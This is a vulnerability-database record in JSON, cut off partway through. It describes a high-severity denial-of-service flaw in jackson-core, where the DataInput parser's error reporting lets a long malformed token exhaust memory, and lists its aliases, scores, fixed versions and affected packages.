{"id":"CVE-2026-89425","aliases":["ALSA-2026:86706","ALSA-2026:90909","CLSA-2026-1791485698","CLSA-2026-1791485784","CLSA-2026-1791486041","CLSA-2026-1791493683","CLSA-2026-1791495450","CLSA-2026-1792399331","CLSA-2026-1792399344","CLSA-2026-1792399348","CLSA-2026-1792399384","CLSA-2026-1792399394","CLSA-2026-1792399424","CLSA-2026-1792399436","CLSA-2026-1792399442","CLSA-2026-1792399460","CLSA-2026-1792399472","CLSA-2026-1792416889","CLSA-2026-1792427235","CLSA-2026-1792427260","CLSA-2026-1792428179","CLSA-2026-1792428196","CLSA-2026-1792428198","CLSA-2026-1792428221","CLSA-2026-1792428247","CLSA-2026-1792428307","CLSA-2026-1792428320","CLSA-2026-1792428388","CLSA-2026-1792428396","CLSA-2026-1792428438","CLSA-2026-1792428490","CLSA-2026-1792428529","CLSA-2026-1792428696","CLSA-2026-1792428707","CLSA-2026-1792428711","CLSA-2026-1792428725","CLSA-2026-1792428797","CLSA-2026-1792428805","CLSA-2026-1792431620","CLSA-2026-1792431625","CLSA-2026-1792431627","CLSA-2026-1792434304","CLSA-2026-1792434736","CLSA-2026-1792437356","CLSA-2026-1793085045","CLSA-2026-1793085177","CLSA-2026-1793087225","CLSA-2026-1793087399","CLSA-2026-1793087508","CLSA-2026-1793087700","CLSA-2026-1793087792","CLSA-2026-1793087884","CLSA-2026-1793088062","CLSA-2026-1793088149","CLSA-2026-1793088253","CLSA-2026-1793196863","DEBIAN-CVE-2026-89425","EUVD-2026-85000","GHSA-72hv-8253-57qq","GHSA-7hhh-6rmp-j9qf","GHSA-r7wm-3cxj-wff9","RLSA-2026:86706","RLSA-2026:90909","ROOT-APP-MAVEN-CVE-2026-89425","SUSE-SU-2026:24149-1","SUSE-SU-2026:4394-1","UBUNTU-CVE-2026-89425","openSUSE-SU-2026:11876-1","openSUSE-SU-2026:22034-1","sonatype-2022-6438"],"status":"published","title":"jackson-core: UTF8DataInputJsonParser._reportInvalidToken() does not honor maxErrorTokenLength, allowing unbounded StringBuilder growth","description":"UTF8DataInputJsonParser._reportInvalidToken() in FasterXML jackson-core builds the offending-token text for its error message by appending Java identifier characters to a StringBuilder in a loop that has no upper bound. Unlike the three sibling parser implementations, including UTF8StreamJsonParser, it never consults ErrorReportConfiguration.getMaxErrorTokenLength() (default 256). A malformed token supplied to a parser created through JsonFactory.createParser(DataInput) is therefore accumulated in full. No StreamReadConstraints setting mitigates this: maxDocumentLength cannot be applied to DataInput sources at all, and maxStringLength does not cover this path because the accumulation bypasses ReadConstrainedTextBuffer. The reporter measured a 20,000,109-character exception message from a 20-million-character malformed token on the DataInput path, against 367 characters for identical input on the InputStream path. Scaling the payload drives the StringBuilder, which also incurs byte-to-char expansion and internal array doubling, to many times the raw payload size and can trigger OutOfMemoryError for the whole JVM. UTF8DataInputJsonParser was introduced in 2.8.0 together with createParser(DataInput); releases before 2.8.0 do not contain the affected class.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00532,"percentile":0.45254,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-770"],"published":"2026-09-23T02:06:10Z","modified":"2026-11-05T21:15:56Z","fixes":[{"ecosystem":"Maven","package":"com.fasterxml.jackson.core:jackson-core","fixed_in":["2.21.7","2.22.3","2.18.11"],"sources":["ghsa","osv"]},{"ecosystem":"Maven","package":"tools.jackson.core:jackson-core","fixed_in":["3.1.7","3.2.3"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","fixed_in":["2.15.2-tuxcare.1","2.14.3-tuxcare.1","2.15.3-tuxcare.1","2.10.4-tuxcare.1","2.10.0-tuxcare.1","2.11.3-tuxcare.1","2.12.6-tuxcare.1","2.12.7-tuxcare.1","2.10.5-tuxcare.1","2.11.1-tuxcare.1","2.11.4-tuxcare.1","2.12.2-tuxcare.1","2.11.2-tuxcare.1","2.12.1-tuxcare.2","2.18.1-tuxcare.1","2.18.3-tuxcare.2","2.18.5-tuxcare.2","2.12.3-tuxcare.1","2.18.8-tuxcare.2","2.21.2-tuxcare.1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"jackson-core","fixed_in":["2.18.11-1"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"com.fasterxml.jackson.core:jackson-core","fixed_in":["2.21.3-aikido.2","2.17.2-aikido.4","2.21.4-aikido.1","2.18.10-aikido.1","2.18.9-aikido.1","2.18.8-aikido.1","2.21.5-aikido.1","2.21.2-aikido.2","2.14.2-aikido.4","2.15.2-aikido.3","2.17.1-aikido.3","2.13.0-aikido.2","2.12.7-aikido.5","2.21.2-aikido.3","2.21.6-aikido.1","2.22.1-aikido.1","2.12.7-aikido.6","2.22.2-aikido.1","2.12.7-aikido.7","2.17.2-aikido.5","2.13.5-aikido.2","2.18.3-aikido.3"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"tools.jackson.core:jackson-core","fixed_in":["3.1.6-aikido.1","3.1.4-aikido.1","3.1.5-aikido.1","3.2.2-aikido.1"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"io.root.com.fasterxml.jackson.core:jackson-core","fixed_in":["2.21.3-root.io.2","2.17.2-root.io.4","2.21.4-root.io.1","2.18.10-root.io.1","2.18.9-root.io.1","2.18.8-root.io.1","2.21.5-root.io.1","2.21.2-root.io.2","2.14.2-root.io.4","2.15.2-root.io.3","2.17.1-root.io.3","2.13.0-root.io.2","2.12.7-root.io.5","2.21.2-root.io.3","2.21.6-root.io.1","2.22.1-root.io.1","2.12.7-root.io.6","2.22.2-root.io.1","2.12.7-root.io.7","2.17.2-root.io.5","2.13.5-root.io.2","2.18.3-root.io.3"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"io.root.tools.jackson.core:jackson-core","fixed_in":["3.1.6-root.io.1","3.1.4-root.io.1","3.1.5-root.io.1","3.2.2-root.io.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.19.0"},{"last_affected":"2.21.6"},{"fixed":"2.21.7"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.22.0"},{"last_affected":"2.22.2"},{"fixed":"2.22.3"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"tools.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"last_affected":"3.1.6"},{"fixed":"3.1.7"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"tools.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.0"},{"last_affected":"3.2.2"},{"fixed":"3.2.3"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.0"},{"last_affected":"2.18.10"},{"fixed":"2.18.11"}]}]},{"source":"osv","ecosystem":"AlmaLinux:9","package":"pki-jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.21.6-1.el9_8.2"}]}],"bundled":2},{"source":"osv","ecosystem":"AlmaLinux:8","package":"apache-commons-collections","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.2-10.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"apache-commons-lang","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6-21.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"apache-commons-net","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.6-3.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"bea-stax-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.2.0-16.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"glassfish-fastinfoset","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.2.13-9.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"glassfish-jaxb-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.12-8.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"glassfish-jaxb-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.11-12.module_el8.10.0+3791+e0637953"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"glassfish-jaxb-runtime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.11-12.module_el8.10.0+3791+e0637953"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"glassfish-jaxb-txw2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.11-12.module_el8.10.0+3791+e0637953"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.21-1.module_el8.10.0+4235+0924958e"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.21.4-1.module_el8.10.0+4329+908ad137.3"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.21.4-1.module_el8.10.0+4329+908ad137.1"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"jackson-jaxrs-json-provider","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.21.4-1.module_el8.10.0+4235+0924958e"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"jackson-jaxrs-providers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.21.4-1.module_el8.10.0+4235+0924958e"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"jackson-module-jaxb-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.21.4-2.module_el8.10.0+4235+0924958e"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"jakarta-commons-httpclient","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:3.1-28.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"javassist","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.18.1-8.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"javassist-javadoc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.18.1-8.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"pki-servlet-engine","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:9.0.62-1.module_el8.10.0+3791+e0637953"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"relaxngDatatype","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2011.1-7.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"slf4j","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.25-4.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"slf4j-jdk14","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.25-4.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"stax-ex","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.7-8.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"velocity","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7-24.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"xalan-j2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.1-38.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"xerces-j2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.11.0-34.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"xml-commons-apis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.01-25.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"xml-commons-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.2-26.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"xmlstreambuffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.4-8.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:8","package":"xsom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0-19.20110809svn.module_el8.5.0+2577+9e95fe00"}]}],"bundled":3},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.17.1"},{"fixed":"2.17.1-tuxcare.1"}]}],"versions":["2.17.1"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.17.3"},{"fixed":"2.17.3-tuxcare.2"}]}],"versions":["2.17.3","2.17.3-tuxcare.1"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.17.2"},{"fixed":"2.17.2-tuxcare.2"}]}],"versions":["2.17.2","2.17.2-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.14.2"},{"fixed":"2.14.2-tuxcare.3"}]}],"versions":["2.14.2","2.14.2-tuxcare.1","2.14.2-tuxcare.2"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.14.1"},{"fixed":"2.14.1-tuxcare.2"}]}],"versions":["2.14.1","2.14.1-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.7"},{"fixed":"2.6.7-tuxcare.1"}]}],"versions":["2.6.7"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.8"},{"fixed":"2.9.8-tuxcare.1"}]}],"versions":["2.9.8"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.9"},{"fixed":"2.9.9-tuxcare.1"}]}],"versions":["2.9.9"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.15.4"},{"fixed":"2.15.4-tuxcare.1"}]}],"versions":["2.15.4"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.3"},{"fixed":"2.2.3-tuxcare.1"}]}],"versions":["2.2.3"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.10"},{"fixed":"2.9.10-tuxcare.1"}]}],"versions":["2.9.10"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.15.2"},{"fixed":"2.15.2-tuxcare.1"}]}],"versions":["2.15.2"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.14.3"},{"fixed":"2.14.3-tuxcare.1"}]}],"versions":["2.14.3"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.13.2"},{"fixed":"2.13.2-tuxcare.1"}]}],"versions":["2.13.2"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.13.4"},{"fixed":"2.13.4-tuxcare.1"}]}],"versions":["2.13.4"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.1.3"},{"fixed":"2.1.3-tuxcare.1"}]}],"versions":["2.1.3"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.0"},{"fixed":"2.6.0-tuxcare.1"}]}],"versions":["2.6.0"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.7.0"},{"fixed":"2.7.0-tuxcare.1"}]}],"versions":["2.7.0"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.7.9"},{"fixed":"2.7.9-tuxcare.1"}]}],"versions":["2.7.9"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.7.4"},{"fixed":"2.7.4-tuxcare.1"}]}],"versions":["2.7.4"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.7.8"},{"fixed":"2.7.8-tuxcare.1"}]}],"versions":["2.7.8"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.8"},{"fixed":"2.8.8-tuxcare.1"}]}],"versions":["2.8.8"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.11"},{"fixed":"2.8.11-tuxcare.1"}]}],"versions":["2.8.11"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.6"},{"fixed":"2.9.6-tuxcare.1"}]}],"versions":["2.9.6"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.15.3"},{"fixed":"2.15.3-tuxcare.1"}]}],"versions":["2.15.3"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.4"},{"fixed":"2.10.4-tuxcare.1"}]}],"versions":["2.10.4"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.0"},{"fixed":"2.10.0-tuxcare.1"}]}],"versions":["2.10.0"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.11.3"},{"fixed":"2.11.3-tuxcare.1"}]}],"versions":["2.11.3"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.12.6"},{"fixed":"2.12.6-tuxcare.1"}]}],"versions":["2.12.6"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.12.7"},{"fixed":"2.12.7-tuxcare.1"}]}],"versions":["2.12.7"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.21.4"},{"fixed":"2.21.4-tuxcare.1"}]}],"versions":["2.21.4"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.5"},{"fixed":"2.10.5-tuxcare.1"}]}],"versions":["2.10.5"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.11.1"},{"fixed":"2.11.1-tuxcare.1"}]}],"versions":["2.11.1"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.11.4"},{"fixed":"2.11.4-tuxcare.1"}]}],"versions":["2.11.4"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.12.2"},{"fixed":"2.12.2-tuxcare.1"}]}],"versions":["2.12.2"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.11.2"},{"fixed":"2.11.2-tuxcare.1"}]}],"versions":["2.11.2"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.16.1"},{"fixed":"2.16.1-tuxcare.1"}]}],"versions":["2.16.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.12.1"},{"fixed":"2.12.1-tuxcare.2"}]}],"versions":["2.12.1","2.12.1-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.15.0"},{"fixed":"2.15.0-tuxcare.1"}]}],"versions":["2.15.0"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.13.3"},{"fixed":"2.13.3-tuxcare.1"}]}],"versions":["2.13.3"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0"},{"fixed":"2.4.0-tuxcare.1"}]}],"versions":["2.4.0"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.13.5"},{"fixed":"2.13.5-tuxcare.1"}]}],"versions":["2.13.5"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.4.1"},{"fixed":"2.18.4.1-tuxcare.2"}]}],"versions":["2.18.4.1","2.18.4.1-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.20.1"},{"fixed":"2.20.1-tuxcare.1"}]}],"versions":["2.20.1"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.1"},{"fixed":"2.18.1-tuxcare.1"}]}],"versions":["2.18.1"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.3"},{"fixed":"2.18.3-tuxcare.2"}]}],"versions":["2.18.3","2.18.3-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.5"},{"fixed":"2.18.5-tuxcare.2"}]}],"versions":["2.18.5","2.18.5-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"2.18.0-tuxcare.2"}]}],"versions":["2.18.0","2.18.0-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.12.3"},{"fixed":"2.12.3-tuxcare.1"}]}],"versions":["2.12.3"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.3"},{"fixed":"2.9.3-tuxcare.1"}]}],"versions":["2.9.3"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.7"},{"fixed":"2.8.7-tuxcare.1"}]}],"versions":["2.8.7"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.8"},{"fixed":"2.18.8-tuxcare.2"}]}],"versions":["2.18.8","2.18.8-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.21.2"},{"fixed":"2.21.2-tuxcare.1"}]}],"versions":["2.21.2"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.19.4"},{"fixed":"2.19.4-tuxcare.1"}]}],"versions":["2.19.4"],"bundled":2},{"source":"osv","ecosystem":"Debian:12","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.14.1-1","2.14.1-2","2.14.1-2~deb11u1","2.14.1-2~deb12u1","2.14.1-2~deb13u1","2.18.11-1"]},{"source":"osv","ecosystem":"Debian:13","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.14.1-1","2.14.1-2","2.14.1-2~deb11u1","2.14.1-2~deb12u1","2.14.1-2~deb13u1","2.18.11-1"]},{"source":"osv","ecosystem":"Debian:14","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-1"}]}],"versions":["2.14.1-1","2.14.1-2","2.14.1-2~deb11u1","2.14.1-2~deb12u1","2.14.1-2~deb13u1"]},{"source":"osv","ecosystem":"Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.19.0"},{"fixed":"2.21.7"}]}],"versions":["2.19.0","2.19.1","2.19.2","2.19.3","2.19.4","2.20.0","2.20.0-rc1","2.20.1","2.20.2","2.21.0","2.21.1","2.21.2","2.21.3","2.21.4","2.21.5","2.21.6"]},{"source":"osv","ecosystem":"Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.22.0"},{"fixed":"2.22.3"}]}],"versions":["2.22.0","2.22.1","2.22.2"]},{"source":"osv","ecosystem":"Maven","package":"tools.jackson.core:jackson-core","r